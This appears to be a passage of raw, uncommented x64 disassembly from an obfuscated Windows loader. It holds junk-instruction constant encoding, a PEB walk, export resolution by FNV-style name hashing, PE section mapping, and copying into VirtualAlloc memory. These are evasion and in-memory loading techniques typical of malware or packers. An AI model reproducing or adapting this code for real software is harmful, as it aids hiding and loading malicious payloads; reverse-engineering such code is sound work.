mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x168]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xe0], rax
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0xe8], eax
mov rax, qword [rsp + 0xd8]
cmp qword [rsp + 0xe0], rax
je 0x1400dfb09
push rax
pushf
mov eax, 0xdda7435e
pushf
not eax
add eax, 0xf52eb194
xor eax, 0x96435142
rol eax, 0x65
popf
pushf
not eax
add eax, 0x8e1bbf33
xor eax, 0x995805e4
rol eax, 0x18
popf
pushf
not eax
add eax, 0x8b1a9929
xor eax, 0xa2ab8820
rol eax, 0xed
popf
pushf
not eax
add eax, 0xc2f08a13
xor eax, 0xfa622136
rol eax, 0xf
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xb05e16ca
pushf
not eax
add eax, 0xb75800b9
xor eax, 0xa66cd7b7
rol eax, 0xed
popf
pushf
not eax
add eax, 0xbb6efb9b
xor eax, 0xdb0fc13c
rol eax, 0xcf
popf
pushf
not eax
add eax, 0xa70c8130
xor eax, 0xa3a31cd9
rol eax, 0x10
popf
jmp 0x1400de308
mov dword [rsp + 0x7c], 1
jmp 0x1400dfbf0
mov dword [rsp + 0x7c], 0
push rax
pushf
mov eax, 0x1ed979e1
pushf
not eax
add eax, 0xdf40e23c
xor eax, 0xe6bca3c4
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa1bea6ab
xor eax, 0xa43d665d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xa5416960
xor eax, 0xb0841858
rol eax, 0x59
popf
jmp 0x1400de308
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x22], al
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x1400dfc4c
push rax
pushf
mov eax, 0x99ae8386
pushf
not eax
add eax, 0xc2af4ffc
xor eax, 0xaa543250
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x99fcd567
xor eax, 0xf722f892
rol eax, 0xaf
popf
pushf
not eax
add eax, 0x82d6e22e
xor eax, 0xc5d8ffc7
rol eax, 0x35
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x6d3a0f5d
pushf
not eax
add eax, 0x9b57edaf
xor eax, 0xa12af6cd
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xa9f1f521
xor eax, 0x85a4f313
rol eax, 0x54
popf
pushf
not eax
add eax, 0xfee33f8b
xor eax, 0xdf6eb0a7
rol eax, 0xbe
popf
jmp 0x1400de308
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0xf8], eax
mov eax, dword [rsp + 0x2c]
jmp 0x1400dfcb1
dec eax
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0xf8], 0
je 0x1400dfcf8
push rax
pushf
mov eax, 0xd7f886aa
pushf
not eax
add eax, 0x9eb86edb
xor eax, 0xd53d794b
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe229e372
xor eax, 0xcd9e0ad0
rol eax, 0x42
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x738ea136
pushf
not eax
add eax, 0xe14cc574
xor eax, 0xaf8b4700
rol eax, 0x47
popf
pushf
not eax
add eax, 0x9d6df532
xor eax, 0x836c5650
rol eax, 0x6c
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x80], eax
movabs rax, 0x9d8f87716c5f6dd7
pushf
not rax
add rax, 0x53bae279
xor rax, 0x404112c8
rol rax, 0x21
popf
pushf
not rax
add rax, 0x5295c557
xor rax, 0x5ef868a7
rol rax, 0x33
popf
pushf
not rax
add rax, 0x6a2b9179
xor rax, 0x4f384c01
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x475fc28f
xor rax, 0x6bdf922f
rol rax, 0xb6
popf
shr rax, 0x20
mov dword [rsp + 0x80], eax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x2c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x170], rax
movabs rax, 0xaf27ac73226cd499
pushf
not rax
add rax, 0x5c30193c
xor rax, 0x6ee10286
rol rax, 2
popf
pushf
not rax
add rax, 0x61bc0f0c
xor rax, 0x68433f9f
rol rax, 0x35
popf
mov ecx, 0x623dc4e8
pushf
not ecx
add ecx, 0xd6420705
xor ecx, 0x96781293
rol ecx, 0xec
popf
pushf
not ecx
add ecx, 0x8111b7b8
xor ecx, 0xfe5316a8
rol ecx, 0x68
popf
pushf
not ecx
add ecx, 0xb126de3a
xor ecx, 0xaa885a08
rol ecx, 0xe
popf
and rax, rcx
mov dword [rsp + 0xfc], eax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x120]
movzx eax, byte [rax]
mov byte [rsp + 0x23], al
mov rax, qword [rsp + 0x120]
inc rax
mov qword [rsp + 0x120], rax
movzx eax, byte [rsp + 0x23]
mov byte [rsp + 0x20], al
movsx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400dff21
push rax
pushf
mov eax, 0xc097a135
pushf
not eax
add eax, 0xa9bbcd6e
xor eax, 0xf3f6eb29
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xe624f024
xor eax, 0xdb3c1af1
rol eax, 0xec
popf
pushf
not eax
add eax, 0xfbe757f6
xor eax, 0x83066b8a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xb4f2479a
xor eax, 0xba93cfbb
rol eax, 0xc7
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x5201af16
pushf
not eax
add eax, 0x88a61e8e
xor eax, 0x8b8401ae
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xefab3b9d
xor eax, 0x907ad379
rol eax, 0x51
popf
pushf
not eax
add eax, 0xcdff64dd
xor eax, 0xc73f39c9
rol eax, 0x15
popf
pushf
not eax
add eax, 0xa1bf8912
xor eax, 0xf187daeb
rol eax, 0xda
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x100], eax
jmp 0x1400e0109
xor eax, eax
test eax, eax
je 0x1400e0009
push rax
pushf
mov eax, 0xee3fc95f
pushf
not eax
add eax, 0xc506e0f4
xor eax, 0xa96684d9
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa3802785
xor eax, 0x97860e50
rol eax, 0xc6
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x2abd08c
pushf
not eax
add eax, 0xc0f2c795
xor eax, 0xc4cec501
rol eax, 0xb4
popf
pushf
not eax
add eax, 0xbdea497d
xor eax, 0xbc7e6eff
rol eax, 0xfa
popf
pushf
not eax
add eax, 0x9e3ca2c1
xor eax, 0x85b7ef90
rol eax, 0x80
popf
jmp 0x1400de308
movsx eax, byte [rsp + 0x20]
or eax, 0x20
mov dword [rsp + 0x84], eax
jmp 0x1400e00e8
movsx eax, byte [rsp + 0x20]
mov dword [rsp + 0x84], eax
push rax
pushf
mov eax, 0x39215198
pushf
not eax
add eax, 0xd92dcb4e
xor eax, 0xaeb0b579
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x85e55e04
xor eax, 0xb293fae7
rol eax, 0xd
popf
pushf
not eax
add eax, 0xc63d98b9
xor eax, 0xfe6be2c5
rol eax, 0x3b
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x84]
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x60], eax
jmp 0x1400dfe94
mov eax, dword [rsp + 0xfc]
cmp dword [rsp + 0x100], eax
jne 0x1400e015f
push rax
pushf
mov eax, 0x93a8ff6f
pushf
not eax
add eax, 0xd7ff66eb
xor eax, 0xe92175f8
rol eax, 0xee
popf
pushf
not eax
add eax, 0xe759d2e1
xor eax, 0xcfd0851d
rol eax, 0xee
popf
pushf
not eax
add eax, 0xd488071f
xor eax, 0xbbe027c4
rol eax, 0xf6
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xfc21ee49
pushf
not eax
add eax, 0xb388c931
xor eax, 0x83e15e07
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xbe0011e0
xor eax, 0xe646ce17
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xeeb3365a
xor eax, 0xa1609ca6
rol eax, 0x48
popf
pushf
not eax
add eax, 0xbad8b9dc
xor eax, 0xeb88fe5e
rol eax, 0xd6
popf
jmp 0x1400de308
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0xe0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x1f0], rax
mov eax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x1f0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x1f8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x130], rax
jmp 0x1400e041b
jmp 0x1400dfca1
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov rax, qword [rax]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x128], rax
mov byte [rsp + 0x24], 1
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x1400e0370
push rax
pushf
mov eax, 0x41f8e279
pushf
not eax
add eax, 0xe0058949
xor eax, 0xd496fca5
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe425f938
xor eax, 0xead8fb56
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xdde05ad4
xor eax, 0xddd145be
rol eax, 0x33
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xdd447dcf
pushf
not eax
add eax, 0xf85902ac
xor eax, 0xdef71cd5
rol eax, 0x59
popf
pushf
not eax
add eax, 0xae25db8a
xor eax, 0xf1b8733c
rol eax, 0x12
popf
pushf
not eax
add eax, 0x9486104d
xor eax, 0xf6579fac
rol eax, 8
popf
pushf
not eax
add eax, 0xa6c527dd
xor eax, 0xfec7b8dc
rol eax, 0x30
popf
jmp 0x1400de308
mov qword [rsp + 0x130], 0
push rax
pushf
mov eax, 0x5df903db
pushf
not eax
add eax, 0xf3d107ad
xor eax, 0xf4041d17
rol eax, 0x75
popf
pushf
not eax
add eax, 0xd6bc86dd
xor eax, 0xee6dfd19
rol eax, 0xab
popf
pushf
not eax
add eax, 0xec04c3a4
xor eax, 0x8252c307
rol eax, 0x86
popf
jmp 0x1400de308
mov ecx, 0x9e659306
pushf
not ecx
add ecx, 0x8a782cca
xor ecx, 0xb9ff8ef6
rol ecx, 0x44
popf
pushf
not ecx
add ecx, 0xdf46c06e
xor ecx, 0x8b238544
rol ecx, 6
popf
pushf
not ecx
add ecx, 0x8783904d
xor ecx, 0xb1d147ca
rol ecx, 0xbc
popf
jmp 0x1400e0460
call qword [rsp + 0x130]
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x64], 0
jmp 0x1400e0531
mov eax, dword [rsp + 0x64]
jmp 0x1400e04d7
inc eax
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
push rax
pushf
mov eax, 0x1a55b2bf
pushf
not eax
add eax, 0xad33f48b
xor eax, 0xf7f87149
rol eax, 0xe4
popf
pushf
not eax
add eax, 0x879c6785
xor eax, 0xc50a74f2
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x8ce6749d
xor eax, 0xeee00b07
rol eax, 0xdb
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x64], eax
je 0x1400e059d
push rax
pushf
mov eax, 0x30ed3e28
pushf
not eax
add eax, 0x8e1e26c8
xor eax, 0xdc394a54
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xbd0d5497
xor eax, 0xe433ffee
rol eax, 0x92
popf
pushf
not eax
add eax, 0x98d2e877
xor eax, 0xd9183b95
rol eax, 0x21
popf
pushf
not eax
add eax, 0x918b3f50
xor eax, 0xcf774d02
rol eax, 0x7a
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x70b4585c
pushf
not eax
add eax, 0xb6258f76
xor eax, 0xea77e47b
rol eax, 2
popf
pushf
not eax
add eax, 0x8f7ee6d6
xor eax, 0x8b664ed0
rol eax, 0xbd
popf
pushf
not eax
add eax, 0x95987da4
xor eax, 0xd6402fc0
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xf36db767
xor eax, 0xf5bfddcc
rol eax, 0xb7
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400e064b
push rax
pushf
mov eax, 0xba6e9e56
pushf
not eax
add eax, 0x81d60ffc
xor eax, 0xdb44572c
rol eax, 0xac
popf
pushf
not eax
add eax, 0xd06a4ffc
xor eax, 0xe8a1e28b
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xa957ebcf
xor eax, 0xee3081cb
rol eax, 0xc4
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x39bab4b4
pushf
not eax
add eax, 0x82a72f0c
xor eax, 0xa7fe7f4f
rol eax, 0xf
popf
pushf
not eax
add eax, 0x9753e5c2
xor eax, 0xe8767636
rol eax, 2
popf
pushf
not eax
add eax, 0xae3534ca
xor eax, 0x8353d2b2
rol eax, 0x94
popf
pushf
not eax
add eax, 0xe946c46d
xor eax, 0x87234218
rol eax, 0xe0
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x24]
call fcn.1400aaf1d
mov dword [rsp + 0x104], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0xddf42780
pushf
not r8d
add r8d, 0xc8e50f39
xor r8d, 0xaa9d162b
rol r8d, 0xca
popf
pushf
not r8d
add r8d, 0x9e4d071c
xor r8d, 0xe286ba1a
rol r8d, 0xc8
popf
mov edx, eax
call fcn.140161ab2
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x70]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x218], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x218]
mov rcx, rax
call fcn.140081885
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x104]
mov edx, eax
call fcn.140161ab2
push rax
pushf
mov eax, 0xfa42736c
pushf
not eax
add eax, 0x9768ade0
xor eax, 0xc6eada5b
rol eax, 0x97
popf
pushf
not eax
add eax, 0xa57ee138
xor eax, 0x9118fac7
rol eax, 0x4f
popf
jmp 0x1400de308
jmp 0x1400e04d2
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x1a0], rax
lea rdx, [0x1aa47bda3]
pushf
sub rdx, 0x6a44a163
popf
lea rcx, [0x19b338809]
pushf
sub rcx, 0x5b306bb9
popf
call fcn.140166ced
lea rcx, [0x1997e7935]
pushf
sub rcx, 0x597e43b5
popf
sub rax, rcx
mov qword [rsp + 0x178], rax
lea rdx, [0x1b185e8e5]
pushf
sub rdx, 0x7182cca5
popf
lea rcx, [0x1b1d930b6]
pushf
sub rcx, 0x71d61456
popf
call fcn.140166ced
lea rcx, [0x1aa2f6926]
pushf
sub rcx, 0x6a2f33a6
popf
sub rax, rcx
mov qword [rsp + 0x180], rax
lea rdx, [0x19cb8e7d5]
pushf
sub rdx, 0x5cb5cb95
popf
lea rcx, [0x1b594350b]
pushf
sub rcx, 0x7591189b
popf
call fcn.140166ced
lea rcx, [0x18d3bd746]
pushf
sub rcx, 0x4d3ba1c6
popf
sub rax, rcx
mov qword [rsp + 0x188], rax
cmp qword [rsp + 0x178], 0
je 0x1400e0970
push rax
pushf
mov eax, 0x798e1621
pushf
not eax
add eax, 0x93554d02
xor eax, 0xf4137d05
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xfe002925
xor eax, 0xaf109b31
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xe05fbde9
xor eax, 0xc2751d57
rol eax, 0xa4
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x2ec1708
pushf
not eax
add eax, 0xd834e285
xor eax, 0xc51f87de
rol eax, 0x23
popf
pushf
not eax
add eax, 0xe42ea2dd
xor eax, 0xe1743dce
rol eax, 0x44
popf
jmp 0x1400de308
cmp qword [rsp + 0x180], 0
je 0x1400e09e1
push rax
pushf
mov eax, 0x76fe7188
pushf
not eax
add eax, 0xe392cfc1
xor eax, 0xeb24aac9
rol eax, 0x25
popf
pushf
not eax
add eax, 0xa497a391
xor eax, 0xbdf90560
rol eax, 0x49
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x6c6b1327
pushf
not eax
add eax, 0xcbf6fc04
xor eax, 0xcb4a1dfb
rol eax, 0xef
popf
pushf
not eax
add eax, 0xd108104c
xor eax, 0xd67415eb
rol eax, 0x17
popf
jmp 0x1400de308
cmp qword [rsp + 0x188], 0
jne 0x1400e0a78
push rax
pushf
mov eax, 0x554858c6
pushf
not eax
add eax, 0x984c10ad
xor eax, 0x83ca9363
rol eax, 0x60
popf
pushf
not eax
add eax, 0xa4f83471
xor eax, 0xb7807f0c
rol eax, 0x47
popf
pushf
not eax
add eax, 0xcac3da2a
xor eax, 0xd5f43c78
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x96c57a47
xor eax, 0xbfa4424c
rol eax, 0x4e
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xaca314c7
pushf
not eax
add eax, 0x93f969fc
xor eax, 0xc9716ae4
rol eax, 0x54
popf
pushf
not eax
add eax, 0xa951be2f
xor eax, 0xac4ed92b
rol eax, 0xbc
popf
jmp 0x1400de308
mov al, 0x1d
pushf
not al
add al, 0xad
xor al, 0xb2
rol al, 0x64
popf
pushf
not al
add al, 0xa4
xor al, 0xae
rol al, 0x47
popf
pushf
not al
add al, 0xc
xor al, 0x18
rol al, 9
popf
pushf
not al
add al, 0x47
xor al, 0x9f
rol al, 0x9f
popf
jmp 0x1400e1e9c
lea rcx, [0x19e66b93d]
pushf
sub rcx, 0x5e6683bd
popf
call fcn.14011d355
mov dword [rsp + 0x108], eax
movsxd rax, dword [rsp + 0x108]
mov r9d, 0x9cdae313
pushf
not r9d
add r9d, 0xf697cce1
xor r9d, 0xec9c6c79
rol r9d, 0x58
popf
pushf
not r9d
add r9d, 0x958ef191
xor r9d, 0xf25294dc
rol r9d, 0x22
popf
pushf
not r9d
add r9d, 0xf7e15adf
xor r9d, 0xadb44282
rol r9d, 0x3a
popf
mov r8d, 0x4a48e5aa
pushf
not r8d
add r8d, 0x9794983a
xor r8d, 0xe12bc322
rol r8d, 0xc5
popf
pushf
not r8d
add r8d, 0xee46f8b3
xor r8d, 0xb42cb429
rol r8d, 0xce
popf
pushf
not r8d
add r8d, 0xa01c718b
xor r8d, 0x84673c05
rol r8d, 0x73
popf
mov rdx, rax
xor ecx, ecx
jmp 0x1400e0be7
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x98], rax
lea rax, [0x1bcb6590b]
pushf
sub rax, 0x7cb6238b
popf
mov rdi, qword [rsp + 0x98]
mov rsi, rax
mov ecx, 0x95f6ce7a
pushf
not ecx
add ecx, 0xf59fb97f
xor ecx, 0x8339293e
rol ecx, 0xa
popf
pushf
not ecx
add ecx, 0xae25d179
xor ecx, 0x8ace78dc
rol ecx, 0x53
popf
pushf
not ecx
add ecx, 0x87a19dcd
xor ecx, 0x90da2f38
rol ecx, 0xb8
popf
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x98]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rax, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x98]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x1a0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x98]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov qword [rcx], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x150], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x228]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x148], rax
push rax
pushf
mov eax, 0x4300c6de
pushf
not eax
add eax, 0xfba6f730
xor eax, 0xd91d4a11
rol eax, 0xec
popf
pushf
not eax
add eax, 0xbf3dadc0
xor eax, 0x968ea0e8
rol eax, 0x75
popf
pushf
not eax
add eax, 0xb9c20faf
xor eax, 0xd07becce
rol eax, 0x8f
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x148]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xb8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x238], rax
mov eax, 0x74e25590
pushf
not eax
add eax, 0xc953f7e9
xor eax, 0xaaf68b72
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd09bcd3a
xor eax, 0xffb976a0
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd5c5ebe3
xor eax, 0xa7bdb948
rol eax, 0x95
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x238]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x190], rax
mov eax, dword [rsp + 0x190]
mov rcx, qword [rsp + 0xb8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0xc0]
cmp qword [rsp + 0xc8], rax
je 0x1400e0ea7
push rax
pushf
mov eax, 0xe5a858dc
pushf
not eax
add eax, 0xe159cda5
xor eax, 0xde5ee56f
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xb422413c
xor eax, 0xbc596f19
rol eax, 0x1c
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x53b8a46d
pushf
not eax
add eax, 0xe87cb130
xor eax, 0x90e59e39
rol eax, 0x70
popf
pushf
not eax
add eax, 0xe81ab941
xor eax, 0xd4a1f327
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe15da164
xor eax, 0x9de0e1a8
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xc33c0ecc
xor eax, 0xa889a26b
rol eax, 0x9e
popf
jmp 0x1400de308
mov dword [rsp + 0x88], 1
jmp 0x1400e0f94
mov dword [rsp + 0x88], 0
push rax
pushf
mov eax, 0x110249fe
pushf
not eax
add eax, 0xd98f0efe
xor eax, 0xbd35389e
rol eax, 0x76
popf
pushf
not eax
add eax, 0xa191c49d
xor eax, 0xc7e9a382
rol eax, 0x87
popf
pushf
not eax
add eax, 0xf6d997c5
xor eax, 0x850ec81d
rol eax, 0x2c
popf
jmp 0x1400de308
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x25], al
movzx eax, byte [rsp + 0x25]
test eax, eax
je 0x1400e1006
push rax
pushf
mov eax, 0xf3df7330
pushf
not eax
add eax, 0xe7fb7d8d
xor eax, 0x9c1abae4
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xd0047ca5
xor eax, 0xb7611482
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xbf7ee5e8
xor eax, 0xe2a24042
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xecbeb28a
xor eax, 0x83471b02
rol eax, 0xc7
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x1d3610a3
pushf
not eax
add eax, 0x96ad3578
xor eax, 0xbf9892d5
rol eax, 0x98
popf
pushf
not eax
add eax, 0xa88c7e91
xor eax, 0xa6c61eda
rol eax, 0x94
popf
jmp 0x1400de308
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x10c], eax
mov eax, dword [rsp + 0x30]
jmp 0x1400e1058
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x10c], 0
je 0x1400e10b2
push rax
pushf
mov eax, 0xc8f9ddf6
pushf
not eax
add eax, 0xc228258d
xor eax, 0xb6f0b830
rol eax, 0x84
popf
pushf
not eax
add eax, 0xff31b484
xor eax, 0x8bdea2cf
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xe05a91f2
xor eax, 0xbdb03bbd
rol eax, 0x74
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x22b28b76
pushf
not eax
add eax, 0xe41bbace
xor eax, 0xbe83fa84
rol eax, 0x12
popf
pushf
not eax
add eax, 0xce8967b9
xor eax, 0x830c8220
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xf27ced61
xor eax, 0xeb7db9c4
rol eax, 0x56
popf
pushf
not eax
add eax, 0xd193fa8a
xor eax, 0xb25f621c
rol eax, 0x16
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x270]
mov dword [rsp + 0x8c], eax
movabs rax, 0x8c673a8ce2dd3181
pushf
not rax
add rax, 0x5a356715
xor rax, 0x5dde9982
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x7ebdfbfa
xor rax, 0x73604a13
rol rax, 6
popf
pushf
not rax
add rax, 0x737ba499
xor rax, 0x5a376215
rol rax, 0x36
popf
pushf
not rax
add rax, 0x5318bfaf
xor rax, 0x59e68591
rol rax, 0xa3
popf
shr rax, 0x20
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xc0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x198], rax
movabs rax, 0x5dac95e1bdbdce3c
pushf
not rax
add rax, 0x66d152ea
xor rax, 0x5feb4cfe
rol rax, 0x3b
popf
pushf
not rax
add rax, 0x4ecc087d
xor rax, 0x7d6a64e2
rol rax, 0xb2
popf
mov ecx, 0xbb93f164
pushf
not ecx
add ecx, 0xae4b87ce
xor ecx, 0xa556bc2e
rol ecx, 0x57
popf
pushf
not ecx
add ecx, 0xde4e5c64
xor ecx, 0x80ca8c85
rol ecx, 0x61
popf
pushf
not ecx
add ecx, 0xd1e21ef5
xor ecx, 0xa2efafa1
rol ecx, 0x67
popf
and rax, rcx
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x140], rax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x68], eax
push rax
pushf
mov eax, 0xeb158975
pushf
not eax
add eax, 0xb51758d7
xor eax, 0xd25fde3e
rol eax, 0x25
popf
pushf
not eax
add eax, 0x9ce56f94
xor eax, 0x912543b0
rol eax, 0x33
popf
jmp 0x1400de308
mov rax, qword [rsp + 0x140]
movzx eax, byte [rax]
mov byte [rsp + 0x26], al
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0x26]
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400e1334
push rax
pushf
mov eax, 0x82bdbf7c
pushf
not eax
add eax, 0xc445edc2
xor eax, 0x850a623a
rol eax, 0x81
popf
pushf
not eax
add eax, 0xfe57f15c
xor eax, 0xc4fadf2c
rol eax, 0x29
popf
pushf
not eax
add eax, 0xddda8016
xor eax, 0xf7376faf
rol eax, 0x31
popf
pushf
not eax
